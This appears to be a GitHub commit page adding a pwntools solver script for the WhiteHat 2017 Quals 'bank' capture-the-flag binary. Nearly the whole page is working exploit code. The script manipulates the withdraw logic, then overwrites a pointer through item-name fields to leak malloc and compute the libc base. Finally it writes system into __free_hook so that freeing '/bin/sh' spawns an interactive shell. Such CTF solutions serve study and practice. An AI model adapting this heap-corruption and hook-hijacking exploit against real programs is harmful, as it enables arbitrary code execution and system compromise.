Skip to content

Commit 1b2b662

Browse files
committed
Solve WhiteHat 2017 bank
1 parent 3396a62 commit 1b2b662

File tree

3 files changed

+117
-0
lines changed

3 files changed

+117
-0
lines changed

WhiteHat/2017 Quals/bank/bank

14.6 KB
Binary file not shown.

WhiteHat/2017 Quals/bank/bank.i64

236 KB
Binary file not shown.

WhiteHat/2017 Quals/bank/solver.py

+117
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
from pwn import *
2+
3+
from time import sleep
4+
5+
6+
def wait_menu():
7+
p.recvuntil('---> ')
8+
9+
10+
def show_my_info():
11+
wait_menu()
12+
p.sendline('1')
13+
14+
15+
def transfer(bank, amount):
16+
wait_menu()
17+
p.sendline('2')
18+
wait_menu()
19+
p.sendline(str(bank))
20+
wait_menu()
21+
p.sendline(str(amount))
22+
23+
24+
def deposit(bank, amount):
25+
wait_menu()
26+
p.sendline('3')
27+
wait_menu()
28+
p.sendline(str(bank))
29+
wait_menu()
30+
p.sendline(str(amount))
31+
32+
33+
def withdraw(bank, amount):
34+
wait_menu()
35+
p.sendline('4')
36+
wait_menu()
37+
p.sendline(str(bank))
38+
wait_menu()
39+
p.sendline(str(amount))
40+
41+
42+
def buy_item(item):
43+
wait_menu()
44+
p.sendline('5')
45+
wait_menu()
46+
p.sendline(str(item))
47+
48+
49+
def change_item_name(index, name):
50+
wait_menu()
51+
p.sendline('6')
52+
wait_menu()
53+
p.sendline(str(index))
54+
wait_menu()
55+
p.sendline(name)
56+
57+
58+
MALLOC_OFFSET = 0x84130
59+
SYSTEM_OFFSET = 0x45390
60+
FREE_HOOK = 0x3c67a8
61+
62+
p = process('./bank', raw=False)
63+
# p = remote('challenges.whitehatcontest.kr', 9999)
64+
65+
deposit(1, 800)
66+
67+
for i in range(5):
68+
transfer(1, 0)
69+
70+
withdraw(1, 800)
71+
withdraw(1, 800)
72+
withdraw(1, 1000000000000000000*5)
73+
74+
sleep(3)
75+
76+
buy_item(1)
77+
change_item_name(0, '/bin/sh'.ljust(32, '\x00'))
78+
79+
for i in range(15):
80+
buy_item(1)
81+
change_item_name(i+1, 'A'*32)
82+
83+
buy_item(1)
84+
change_item_name(16, p64(0x602fd8))
85+
86+
wait_menu()
87+
p.sendline(str(1))
88+
89+
p.recvuntil('* Account Number : ')
90+
malloc_leak = u64(p.recvline().strip().ljust(8, '\x00'))
91+
log.success('malloc: 0x%x' % malloc_leak)
92+
93+
libc_base = malloc_leak - MALLOC_OFFSET
94+
log.success('libc: 0x%x' % libc_base)
95+
96+
change_item_name(16, p64(0x603180))
97+
wait_menu()
98+
p.sendline('5')
99+
wait_menu()
100+
p.sendline('\xff')
101+
wait_menu()
102+
p.sendline(str(1))
103+
p.sendline(p64(0))
104+
105+
change_item_name(16, p64(libc_base + FREE_HOOK))
106+
wait_menu()
107+
p.sendline('5')
108+
wait_menu()
109+
p.sendline('\xff')
110+
wait_menu()
111+
p.sendline(str(1))
112+
p.sendline(p64(libc_base + SYSTEM_OFFSET))
113+
114+
wait_menu()
115+
p.sendline('7')
116+
117+
p.interactive()

0 commit comments

Comments
 (0)